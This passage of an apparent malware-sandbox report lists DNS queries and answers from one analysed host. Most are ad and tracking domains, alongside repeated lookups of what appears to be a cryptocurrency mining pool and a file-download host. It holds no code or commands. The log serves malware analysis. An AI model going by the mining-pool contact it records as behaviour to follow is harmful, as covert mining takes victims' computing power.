Jun 15, 2024 11:16:38.466790915 CEST	192.168.2.16	1.1.1.1	0xc34f	Standard query (0)	dl.google.com	65	IN (0x0001)	false
Jun 15, 2024 11:16:55.130153894 CEST	192.168.2.16	1.1.1.1	0x1926	Standard query (0)	pool.hashvault.pro	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.387953043 CEST	192.168.2.16	1.1.1.1	0xfa60	Standard query (0)	ww1097.smartadserver.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:55.388082027 CEST	192.168.2.16	1.1.1.1	0xf3c5	Standard query (0)	ww1097.smartadserver.com	65	IN (0x0001)	false
Jun 15, 2024 11:16:58.070256948 CEST	192.168.2.16	1.1.1.1	0x50c0	Standard query (0)	ww1097.smartadserver.com	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:16:58.070328951 CEST	192.168.2.16	1.1.1.1	0xaefd	Standard query (0)	ww1097.smartadserver.com	65	IN (0x0001)	false
Jun 15, 2024 11:17:12.026959896 CEST	192.168.2.16	1.1.1.1	0xe92a	Standard query (0)	pool.hashvault.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 15, 2024 11:14:49.100011110 CEST	1.1.1.1	192.168.2.16	0xfa82	No error (0)	oxy.st		185.178.208.137	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:51.013420105 CEST	1.1.1.1	192.168.2.16	0x6448	No error (0)	contextual.media.net		23.211.10.95	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:52.924055099 CEST	1.1.1.1	192.168.2.16	0xafa8	No error (0)	ads.themoneytizer.com	ads.themoneytizer.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:52.935656071 CEST	1.1.1.1	192.168.2.16	0xbce6	No error (0)	ads.themoneytizer.com	ads.themoneytizer.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:52.949107885 CEST	1.1.1.1	192.168.2.16	0xd687	No error (0)	oxy.st		185.178.208.137	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:52.954006910 CEST	1.1.1.1	192.168.2.16	0xb543	No error (0)	smatr.net		88.208.46.222	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:52.959666014 CEST	1.1.1.1	192.168.2.16	0x61f2	No error (0)	cdn.adlook.me	cl-7c56f4b3.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:52.959666014 CEST	1.1.1.1	192.168.2.16	0x61f2	No error (0)	cl-7c56f4b3.edgecdn.ru		193.17.93.93	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:52.973603010 CEST	1.1.1.1	192.168.2.16	0x4ec6	No error (0)	lg3.media.net		23.212.88.20	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:53.001233101 CEST	1.1.1.1	192.168.2.16	0x49ee	No error (0)	cdn.adlook.me	cl-7c56f4b3.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:53.609625101 CEST	1.1.1.1	192.168.2.16	0xbc50	No error (0)	yastatic.net		178.154.131.217	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:53.609625101 CEST	1.1.1.1	192.168.2.16	0xbc50	No error (0)	yastatic.net		178.154.131.215	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:53.934731007 CEST	1.1.1.1	192.168.2.16	0xc13c	No error (0)	www.google.com			65	IN (0x0001)	false
Jun 15, 2024 11:14:53.935408115 CEST	1.1.1.1	192.168.2.16	0xbf3b	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.063846111 CEST	1.1.1.1	192.168.2.16	0xd6e6	No error (0)	ced.sascdn.com	akamai.smartadserver.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.063863993 CEST	1.1.1.1	192.168.2.16	0x34d	No error (0)	cdn.themoneytizer.fr		188.114.97.3	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.063863993 CEST	1.1.1.1	192.168.2.16	0x34d	No error (0)	cdn.themoneytizer.fr		188.114.96.3	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.064558029 CEST	1.1.1.1	192.168.2.16	0x50c	No error (0)	cdn.themoneytizer.fr			65	IN (0x0001)	false
Jun 15, 2024 11:14:54.065812111 CEST	1.1.1.1	192.168.2.16	0xae97	No error (0)	ced.sascdn.com	akamai.smartadserver.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.071686983 CEST	1.1.1.1	192.168.2.16	0x4781	No error (0)	onetag-sys.com		51.89.9.252	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.071686983 CEST	1.1.1.1	192.168.2.16	0x4781	No error (0)	onetag-sys.com		51.89.9.253	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.071686983 CEST	1.1.1.1	192.168.2.16	0x4781	No error (0)	onetag-sys.com		51.89.9.251	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.071686983 CEST	1.1.1.1	192.168.2.16	0x4781	No error (0)	onetag-sys.com		51.75.86.98	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.071686983 CEST	1.1.1.1	192.168.2.16	0x4781	No error (0)	onetag-sys.com		51.89.9.254	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.071686983 CEST	1.1.1.1	192.168.2.16	0x4781	No error (0)	onetag-sys.com		51.38.120.206	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.071984053 CEST	1.1.1.1	192.168.2.16	0x677f	No error (0)	lg3.media.net		23.212.88.20	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.254343033 CEST	1.1.1.1	192.168.2.16	0x9c0f	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.255625963 CEST	1.1.1.1	192.168.2.16	0x3559	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.255625963 CEST	1.1.1.1	192.168.2.16	0x3559	No error (0)	gum.nl3.vip.prod.criteo.com		178.250.1.11	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.478138924 CEST	1.1.1.1	192.168.2.16	0x2194	No error (0)	tag.leadplace.fr	ip-fo-ovh.infra.leadplace.fr		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.478138924 CEST	1.1.1.1	192.168.2.16	0x2194	No error (0)	ip-fo-ovh.infra.leadplace.fr		145.239.192.166	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.478138924 CEST	1.1.1.1	192.168.2.16	0x2194	No error (0)	ip-fo-ovh.infra.leadplace.fr		145.239.193.51	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.478148937 CEST	1.1.1.1	192.168.2.16	0x29ae	No error (0)	tag.leadplace.fr	ip-fo-ovh.infra.leadplace.fr		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.570854902 CEST	1.1.1.1	192.168.2.16	0x81f0	No error (0)	ogffa.net		88.208.46.222	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.593432903 CEST	1.1.1.1	192.168.2.16	0xfafb	No error (0)	counter.yadro.ru		88.212.201.198	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.593432903 CEST	1.1.1.1	192.168.2.16	0xfafb	No error (0)	counter.yadro.ru		88.212.202.52	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.593432903 CEST	1.1.1.1	192.168.2.16	0xfafb	No error (0)	counter.yadro.ru		88.212.201.204	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.593441963 CEST	1.1.1.1	192.168.2.16	0xe7e0	No error (0)	secure.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.593441963 CEST	1.1.1.1	192.168.2.16	0xe7e0	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.593441963 CEST	1.1.1.1	192.168.2.16	0xe7e0	No error (0)	global.px.quantserve.com		91.228.74.159	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.593441963 CEST	1.1.1.1	192.168.2.16	0xe7e0	No error (0)	global.px.quantserve.com		91.228.74.200	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.593441963 CEST	1.1.1.1	192.168.2.16	0xe7e0	No error (0)	global.px.quantserve.com		91.228.74.244	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.593441963 CEST	1.1.1.1	192.168.2.16	0xe7e0	No error (0)	global.px.quantserve.com		91.228.74.166	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.594283104 CEST	1.1.1.1	192.168.2.16	0x91ba	No error (0)	secure.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.594283104 CEST	1.1.1.1	192.168.2.16	0x91ba	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.735852957 CEST	1.1.1.1	192.168.2.16	0x7050	No error (0)	p.cpx.to		99.81.158.184	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.735852957 CEST	1.1.1.1	192.168.2.16	0x7050	No error (0)	p.cpx.to		52.49.242.239	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.735980034 CEST	1.1.1.1	192.168.2.16	0xdb85	No error (0)	adtrack.adleadevent.com	adtrack-php-loadbalancer-vpc-1246401395.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.763228893 CEST	1.1.1.1	192.168.2.16	0x8dc6	No error (0)	adtrack.adleadevent.com	adtrack-php-loadbalancer-vpc-1246401395.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:54.763228893 CEST	1.1.1.1	192.168.2.16	0x8dc6	No error (0)	adtrack-php-loadbalancer-vpc-1246401395.eu-west-1.elb.amazonaws.com		52.51.190.15	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.763228893 CEST	1.1.1.1	192.168.2.16	0x8dc6	No error (0)	adtrack-php-loadbalancer-vpc-1246401395.eu-west-1.elb.amazonaws.com		99.80.69.9	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.828247070 CEST	1.1.1.1	192.168.2.16	0x271d	No error (0)	system-notify.app		157.90.33.121	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.828247070 CEST	1.1.1.1	192.168.2.16	0x271d	No error (0)	system-notify.app		157.90.33.68	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.828247070 CEST	1.1.1.1	192.168.2.16	0x271d	No error (0)	system-notify.app		157.90.33.72	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.828247070 CEST	1.1.1.1	192.168.2.16	0x271d	No error (0)	system-notify.app		23.88.8.125	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.828247070 CEST	1.1.1.1	192.168.2.16	0x271d	No error (0)	system-notify.app		178.63.248.56	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.828247070 CEST	1.1.1.1	192.168.2.16	0x271d	No error (0)	system-notify.app		23.88.8.123	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.828247070 CEST	1.1.1.1	192.168.2.16	0x271d	No error (0)	system-notify.app		157.90.33.122	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:54.828247070 CEST	1.1.1.1	192.168.2.16	0x271d	No error (0)	system-notify.app		178.63.248.57	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.185142994 CEST	1.1.1.1	192.168.2.16	0xc771	No error (0)	cdn.adlook.me	cl-7c56f4b3.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:55.185142994 CEST	1.1.1.1	192.168.2.16	0xc771	No error (0)	cl-7c56f4b3.edgecdn.ru		193.17.93.93	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.185182095 CEST	1.1.1.1	192.168.2.16	0x1d70	No error (0)	cdn.adlook.me	cl-7c56f4b3.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:55.191612005 CEST	1.1.1.1	192.168.2.16	0x4be7	No error (0)	ads.adlook.me	lb-prod.adlook.me		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:55.191612005 CEST	1.1.1.1	192.168.2.16	0x4be7	No error (0)	lb-prod.adlook.me		46.243.182.89	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.230017900 CEST	1.1.1.1	192.168.2.16	0x7fac	No error (0)	download.oxy.st		185.178.208.137	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.415344000 CEST	1.1.1.1	192.168.2.16	0x71c5	No error (0)	ced-ns.sascdn.com	cdn-ns.cdn-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:55.415584087 CEST	1.1.1.1	192.168.2.16	0xf98d	No error (0)	ced-ns.sascdn.com	cdn-ns.cdn-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:55.415584087 CEST	1.1.1.1	192.168.2.16	0xf98d	No error (0)	cs410.wac.edgecastcdn.net		68.232.35.16	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.417105913 CEST	1.1.1.1	192.168.2.16	0x62e9	No error (0)	cdn.id5-sync.com			65	IN (0x0001)	false
Jun 15, 2024 11:14:55.417392969 CEST	1.1.1.1	192.168.2.16	0x791d	No error (0)	cdn.id5-sync.com		104.22.53.86	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.417392969 CEST	1.1.1.1	192.168.2.16	0x791d	No error (0)	cdn.id5-sync.com		104.22.52.86	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.417392969 CEST	1.1.1.1	192.168.2.16	0x791d	No error (0)	cdn.id5-sync.com		172.67.38.106	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.562747002 CEST	1.1.1.1	192.168.2.16	0xfa76	No error (0)	tag.leadplace.fr	ip-fo-ovh.infra.leadplace.fr		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:55.562998056 CEST	1.1.1.1	192.168.2.16	0xf331	No error (0)	tag.leadplace.fr	ip-fo-ovh.infra.leadplace.fr		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:55.562998056 CEST	1.1.1.1	192.168.2.16	0xf331	No error (0)	ip-fo-ovh.infra.leadplace.fr		145.239.192.166	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.562998056 CEST	1.1.1.1	192.168.2.16	0xf331	No error (0)	ip-fo-ovh.infra.leadplace.fr		145.239.193.51	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:55.931904078 CEST	1.1.1.1	192.168.2.16	0x2f08	No error (0)	ogffa.net		88.208.46.222	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.055130959 CEST	1.1.1.1	192.168.2.16	0xc7a7	No error (0)	rules.quantcount.com	d2fashanjl7d9f.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:56.055130959 CEST	1.1.1.1	192.168.2.16	0xc7a7	No error (0)	d2fashanjl7d9f.cloudfront.net		18.66.102.57	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.055130959 CEST	1.1.1.1	192.168.2.16	0xc7a7	No error (0)	d2fashanjl7d9f.cloudfront.net		18.66.102.15	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.055130959 CEST	1.1.1.1	192.168.2.16	0xc7a7	No error (0)	d2fashanjl7d9f.cloudfront.net		18.66.102.66	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.055130959 CEST	1.1.1.1	192.168.2.16	0xc7a7	No error (0)	d2fashanjl7d9f.cloudfront.net		18.66.102.121	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.055836916 CEST	1.1.1.1	192.168.2.16	0xe13d	No error (0)	rules.quantcount.com	d2fashanjl7d9f.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084492922 CEST	1.1.1.1	192.168.2.16	0xb67d	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084492922 CEST	1.1.1.1	192.168.2.16	0xb67d	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084492922 CEST	1.1.1.1	192.168.2.16	0xb67d	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084492922 CEST	1.1.1.1	192.168.2.16	0xb67d	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.210.244	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.210.90	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.211.84	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.210.212	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.210.46	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.210.20	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.210.153	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.210.122	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.210.82	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.210.141	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.211.116	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.084502935 CEST	1.1.1.1	192.168.2.16	0x352a	No error (0)	ib.anycast.adnxs.com		185.89.210.180	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.499404907 CEST	1.1.1.1	192.168.2.16	0xf67c	No error (0)	uidsync.net		157.90.33.72	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.499404907 CEST	1.1.1.1	192.168.2.16	0xf67c	No error (0)	uidsync.net		178.63.248.57	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.499404907 CEST	1.1.1.1	192.168.2.16	0xf67c	No error (0)	uidsync.net		157.90.33.122	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.499404907 CEST	1.1.1.1	192.168.2.16	0xf67c	No error (0)	uidsync.net		157.90.33.121	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.499404907 CEST	1.1.1.1	192.168.2.16	0xf67c	No error (0)	uidsync.net		23.88.8.125	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.499404907 CEST	1.1.1.1	192.168.2.16	0xf67c	No error (0)	uidsync.net		23.88.8.123	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.499404907 CEST	1.1.1.1	192.168.2.16	0xf67c	No error (0)	uidsync.net		157.90.33.68	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.499404907 CEST	1.1.1.1	192.168.2.16	0xf67c	No error (0)	uidsync.net		178.63.248.56	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:56.737438917 CEST	1.1.1.1	192.168.2.16	0xa544	No error (0)	ads.adlook.me	lb-prod.adlook.me		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:56.737438917 CEST	1.1.1.1	192.168.2.16	0xa544	No error (0)	lb-prod.adlook.me		78.140.242.74	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.054883003 CEST	1.1.1.1	192.168.2.16	0x8b6a	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.054883003 CEST	1.1.1.1	192.168.2.16	0x8b6a	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.054883003 CEST	1.1.1.1	192.168.2.16	0x8b6a	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.054883003 CEST	1.1.1.1	192.168.2.16	0x8b6a	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.154284954 CEST	1.1.1.1	192.168.2.16	0x154	No error (0)	pixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:57.155805111 CEST	1.1.1.1	192.168.2.16	0x3af1	No error (0)	pixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:57.155805111 CEST	1.1.1.1	192.168.2.16	0x3af1	No error (0)	global.px.quantserve.com		91.228.74.244	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.155805111 CEST	1.1.1.1	192.168.2.16	0x3af1	No error (0)	global.px.quantserve.com		91.228.74.166	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.155805111 CEST	1.1.1.1	192.168.2.16	0x3af1	No error (0)	global.px.quantserve.com		91.228.74.159	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.155805111 CEST	1.1.1.1	192.168.2.16	0x3af1	No error (0)	global.px.quantserve.com		91.228.74.200	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.187980890 CEST	1.1.1.1	192.168.2.16	0x213	No error (0)	counter.yadro.ru		88.212.201.198	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.187980890 CEST	1.1.1.1	192.168.2.16	0x213	No error (0)	counter.yadro.ru		88.212.201.204	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.187980890 CEST	1.1.1.1	192.168.2.16	0x213	No error (0)	counter.yadro.ru		88.212.202.52	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.457983971 CEST	1.1.1.1	192.168.2.16	0x648e	No error (0)	s.cpx.to		99.81.158.184	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.457983971 CEST	1.1.1.1	192.168.2.16	0x648e	No error (0)	s.cpx.to		52.49.242.239	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.210.212	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.211.116	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.210.90	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.210.180	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.211.84	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.210.82	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.210.122	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.210.46	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.210.141	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.210.153	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.210.20	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.465922117 CEST	1.1.1.1	192.168.2.16	0x513b	No error (0)	ib.anycast.adnxs.com		185.89.210.244	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.480463028 CEST	1.1.1.1	192.168.2.16	0x87d7	No error (0)	id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.480463028 CEST	1.1.1.1	192.168.2.16	0x87d7	No error (0)	id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.480463028 CEST	1.1.1.1	192.168.2.16	0x87d7	No error (0)	id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.480463028 CEST	1.1.1.1	192.168.2.16	0x87d7	No error (0)	id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.480463028 CEST	1.1.1.1	192.168.2.16	0x87d7	No error (0)	id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.480463028 CEST	1.1.1.1	192.168.2.16	0x87d7	No error (0)	id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.480463028 CEST	1.1.1.1	192.168.2.16	0x87d7	No error (0)	id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.480463028 CEST	1.1.1.1	192.168.2.16	0x87d7	No error (0)	id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.480463028 CEST	1.1.1.1	192.168.2.16	0x87d7	No error (0)	id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.480463028 CEST	1.1.1.1	192.168.2.16	0x87d7	No error (0)	id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.481293917 CEST	1.1.1.1	192.168.2.16	0xe9ec	No error (0)	lb.eu-1-id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.481293917 CEST	1.1.1.1	192.168.2.16	0xe9ec	No error (0)	lb.eu-1-id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.481293917 CEST	1.1.1.1	192.168.2.16	0xe9ec	No error (0)	lb.eu-1-id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.481293917 CEST	1.1.1.1	192.168.2.16	0xe9ec	No error (0)	lb.eu-1-id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.481293917 CEST	1.1.1.1	192.168.2.16	0xe9ec	No error (0)	lb.eu-1-id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.481293917 CEST	1.1.1.1	192.168.2.16	0xe9ec	No error (0)	lb.eu-1-id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Jun 15, 2024 11:14:57.481293917 CEST	1.1.1.1	192.168.2.16	0xe9ec	No error (0)	lb.eu-1-id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
